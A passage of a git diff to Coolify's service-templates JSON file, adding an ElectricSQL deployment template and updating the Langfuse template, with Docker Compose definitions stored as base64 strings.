AgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIGxpc3Rtb25rLWluaXRpYWwtZGF0YWJhc2Utc2V0dXA6CiAgICBpbWFnZTogJ2xpc3Rtb25rL2xpc3Rtb25rOnY2LjAuMCcKICAgIGNvbW1hbmQ6ICcuL2xpc3Rtb25rIC0taW5zdGFsbCAtLXllcyAtLWlkZW1wb3RlbnQnCiAgICByZXN0YXJ0OiAnbm8nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVE1PTktfZGJfX2hvc3Q9cG9zdGdyZXMKICAgICAgLSBMSVNUTU9OS19kYl9fZGF0YWJhc2U9bGlzdG1vbmsKICAgICAgLSBMSVNUTU9OS19kYl9fdXNlcj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gTElTVE1PTktfZGJfX3Bhc3N3b3JkPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gTElTVE1PTktfZGJfX3BvcnQ9NTQzMgogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxOC1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19EQj1saXN0bW9uawogICAgICAtIFBPU1RHUkVTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gUE9TVEdSRVNfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", "tags": [ "newsletter", "mailing list", diff --git a/templates/service-templates.json b/templates/service-templates.json index 85445faf6..768f43985 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -1102,6 +1102,22 @@ "minversion": "0.0.0", "port": "9200" }, + "electricsql": { + "documentation": "https://electric-sql.com/docs/guides/deployment?utm_source=coolify.io", + "slogan": "Sync shape-based subsets of your Postgres data over HTTP.", + "compose": "c2VydmljZXM6CiAgZWxlY3RyaWM6CiAgICBpbWFnZTogJ2VsZWN0cmljc3FsL2VsZWN0cmljOjEuNC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0VMRUNUUklDXzMwMDAKICAgICAgLSAnREFUQUJBU0VfVVJMPSR7REFUQUJBU0VfVVJMOj99JwogICAgICAtICdFTEVDVFJJQ19TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0VMRUNUUklDfScKICAgICAgLSBFTEVDVFJJQ19TVE9SQUdFX0RJUj0vYXBwL3BlcnNpc3RlbnQKICAgICAgLSAnRUxFQ1RSSUNfVVNBR0VfUkVQT1JUSU5HPSR7RUxFQ1RSSUNfVVNBR0VfUkVQT1JUSU5HOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICdlbGVjdHJpY19kYXRhOi9hcHAvcGVyc2lzdGVudCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTozMDAwL3YxL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1Cg==", + "tags": [ + "electric", + "electricsql", + "realtime", + "sync", + "postgresql" + ], + "category": "backend", + "logo": "svgs/electricsql.svg", + "minversion": "0.0.0", + "port": "3000" + }, "emby": { "documentation": "https://emby.media/support/articles/Home.html?utm_source=coolify.io", "slogan": "A media server software that allows you to organize, stream, and access your multimedia content effortlessly.", @@ -2356,7 +2372,7 @@ "langfuse": { "documentation": "https://langfuse.com/docs?utm_source=coolify.io", "slogan": "Langfuse is an open-source LLM engineering platform that helps teams collaboratively debug, analyze, and iterate on their LLM applications.", - "compose": "eC1hcHAtZW52OgogIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfRlFETl9MQU5HRlVTRX0nCiAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAtICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAtICdFTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfNjRfTEFOR0ZVU0V9JwogIC0gJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAtICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogIC0gJ0NMSUNLSE9VU0VfTUlHUkFUSU9OX1VSTD1jbGlja2hvdXNlOi8vY2xpY2tob3VzZTo5MDAwJwogIC0gJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogIC0gJ0NMSUNLSE9VU0VfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0NMSUNLSE9VU0V9JwogIC0gQ0xJQ0tIT1VTRV9DTFVTVEVSX0VOQUJMRUQ9ZmFsc2UKICAtICdMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQj0ke0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9COi1mYWxzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ6LWxhbmdmdXNlfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYOi1ldmVudHMvfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg6LW1lZGlhL30nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRDotZmFsc2V9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUOi1sYW5nZnVzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg6LWV4cG9ydHMvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTjotYXV0b30nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VORFBPSU5UfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TOi0xfScKICAtICdMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TOi0xMDAwfScKICAtIFJFRElTX0hPU1Q9cmVkaXMKICAtIFJFRElTX1BPUlQ9NjM3OQogIC0gJ1JFRElTX0FVVEg9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAtICdFTUFJTF9GUk9NX0FERFJFU1M9JHtFTUFJTF9GUk9NX0FERFJFU1M6LWFkbWluQGV4YW1wbGUuY29tfScKICAtICdTTVRQX0NPTk5FQ1RJT05fVVJMPSR7U01UUF9DT05ORUNUSU9OX1VSTDotfScKICAtICdORVhUQVVUSF9TRUNSRVQ9JHtTRVJWSUNFX0JBU0U2NF9ORVhUQVVUSFNFQ1JFVH0nCiAgLSAnQVVUSF9ESVNBQkxFX1NJR05VUD0ke0FVVEhfRElTQUJMRV9TSUdOVVA6LXRydWV9JwogIC0gJ0hPU1ROQU1FPSR7SE9TVE5BTUU6LTAuMC4wLjB9JwogIC0gJ0xBTkdGVVNFX0lOSVRfT1JHX0lEPSR7TEFOR0ZVU0VfSU5JVF9PUkdfSUQ6LW15LW9yZ30nCiAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfTkFNRT0ke0xBTkdGVVNFX0lOSVRfT1JHX05BTUU6LU15IE9yZ30nCiAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEOi1teS1wcm9qZWN0fScKICAtICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRT0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FOi1NeSBQcm9qZWN0fScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw9JHtMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfTkFNRT0ke1NFUlZJQ0VfVVNFUl9MQU5HRlVTRX0nCiAgLSAnTEFOR0ZVU0VfSU5JVF9VU0VSX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9MQU5HRlVTRX0nCnNlcnZpY2VzOgogIGxhbmdmdXNlOgogICAgaW1hZ2U6ICdsYW5nZnVzZS9sYW5nZnVzZTozJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgY2xpY2tob3VzZToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIDA6ICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX0ZRRE5fTEFOR0ZVU0V9JwogICAgICAxOiAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgMjogJ1NBTFQ9JHtTRVJWSUNFX1BBU1NXT1JEX1NBTFR9JwogICAgICAzOiAnRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0xBTkdGVVNFfScKICAgICAgNDogJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgNTogJ0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM9JHtMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTOi1mYWxzZX0nCiAgICAgIDY6ICdDTElDS0hPVVNFX01JR1JBVElPTl9VUkw9Y2xpY2tob3VzZTovL2NsaWNraG91c2U6OTAwMCcKICAgICAgNzogJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgICAgIDg6ICdDTElDS0hPVVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfQ0xJQ0tIT1VTRX0nCiAgICAgIDk6ICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgMTA6IENMSUNLSE9VU0VfQ0xVU1RFUl9FTkFCTEVEPWZhbHNlCiAgICAgIDExOiAnTEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I9JHtMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQjotZmFsc2V9JwogICAgICAxMjogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIDEzOiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT046LWF1dG99JwogICAgICAxNDogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAxNTogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIDE2OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0VORFBPSU5UfScKICAgICAgMTc6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMTg6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWDotZXZlbnRzL30nCiAgICAgIDE5OiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgMjA6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIDIxOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIDIyOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgMjM6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlR9JwogICAgICAyNDogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAyNTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYOi1tZWRpYS99JwogICAgICAyNjogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgMjc6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAyODogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYOi1leHBvcnRzL30nCiAgICAgIDI5OiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT046LWF1dG99JwogICAgICAzMDogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVH0nCiAgICAgIDMxOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VYVEVSTkFMX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VYVEVSTkFMX0VORFBPSU5UfScKICAgICAgMzI6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEfScKICAgICAgMzM6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAzNDogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAzNTogJ0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUzotMX0nCiAgICAgIDM2OiAnTEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUzotMTAwMH0nCiAgICAgIDM3OiBSRURJU19IT1NUPXJlZGlzCiAgICAgIDM4OiBSRURJU19QT1JUPTYzNzkKICAgICAgMzk6ICdSRURJU19BVVRIPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgIDQwOiAnRU1BSUxfRlJPTV9BRERSRVNTPSR7RU1BSUxfRlJPTV9BRERSRVNTOi1hZG1pbkBleGFtcGxlLmNvbX0nCiAgICAgIDQxOiAnU01UUF9DT05ORUNUSU9OX1VSTD0ke1NNVFBfQ09OTkVDVElPTl9VUkw6LX0nCiAgICAgIDQyOiAnTkVYVEFVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfTkVYVEFVVEhTRUNSRVR9JwogICAgICA0MzogJ0FVVEhfRElTQUJMRV9TSUdOVVA9JHtBVVRIX0RJU0FCTEVfU0lHTlVQOi10cnVlfScKICAgICAgNDQ6ICdIT1NUTkFNRT0ke0hPU1ROQU1FOi0wLjAuMC4wfScKICAgICAgNDU6ICdMQU5HRlVTRV9JTklUX09SR19JRD0ke0xBTkdGVVNFX0lOSVRfT1JHX0lEOi1teS1vcmd9JwogICAgICA0NjogJ0xBTkdGVVNFX0lOSVRfT1JHX05BTUU9JHtMQU5HRlVTRV9JTklUX09SR19OQU1FOi1NeSBPcmd9JwogICAgICA0NzogJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRD0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRDotbXktcHJvamVjdH0nCiAgICAgIDQ4OiAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRTotTXkgUHJvamVjdH0nCiAgICAgIDQ5OiAnTEFOR0ZVU0VfSU5JVF9VU0VSX0VNQUlMPSR7TEFOR0ZVU0VfSU5JVF9VU0VSX0VNQUlMOi1hZG1pbkBleGFtcGxlLmNvbX0nCiAgICAgIDUwOiAnTEFOR0ZVU0VfSU5JVF9VU0VSX05BTUU9JHtTRVJWSUNFX1VTRVJfTEFOR0ZVU0V9JwogICAgICA1MTogJ0xBTkdGVVNFX0lOSVRfVVNFUl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTEFOR0ZVU0V9JwogICAgICBTRVJWSUNFX0ZRRE5fTEFOR0ZVU0VfMzAwMDogJyR7U0VSVklDRV9GUUROX0xBTkdGVVNFXzMwMDB9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAvYXBpL3B1YmxpYy9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAzCiAgbGFuZ2Z1c2Utd29ya2VyOgogICAgaW1hZ2U6ICdsYW5nZnVzZS9sYW5nZnVzZS13b3JrZXI6MycKICAgIGVudmlyb25tZW50OgogICAgICAtICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX0ZRRE5fTEFOR0ZVU0V9JwogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogICAgICAtICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAgICAgLSAnRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0xBTkdGVVNFfScKICAgICAgLSAnVEVMRU1FVFJZX0VOQUJMRUQ9JHtURUxFTUVUUllfRU5BQkxFRDotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogICAgICAtICdDTElDS0hPVVNFX01JR1JBVElPTl9VUkw9Y2xpY2tob3VzZTovL2NsaWNraG91c2U6OTAwMCcKICAgICAgLSAnQ0xJQ0tIT1VTRV9VUkw9aHR0cDovL2NsaWNraG91c2U6ODEyMycKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgLSBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogICAgICAtICdMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQj0ke0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9COi1mYWxzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWDotZXZlbnRzL30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVV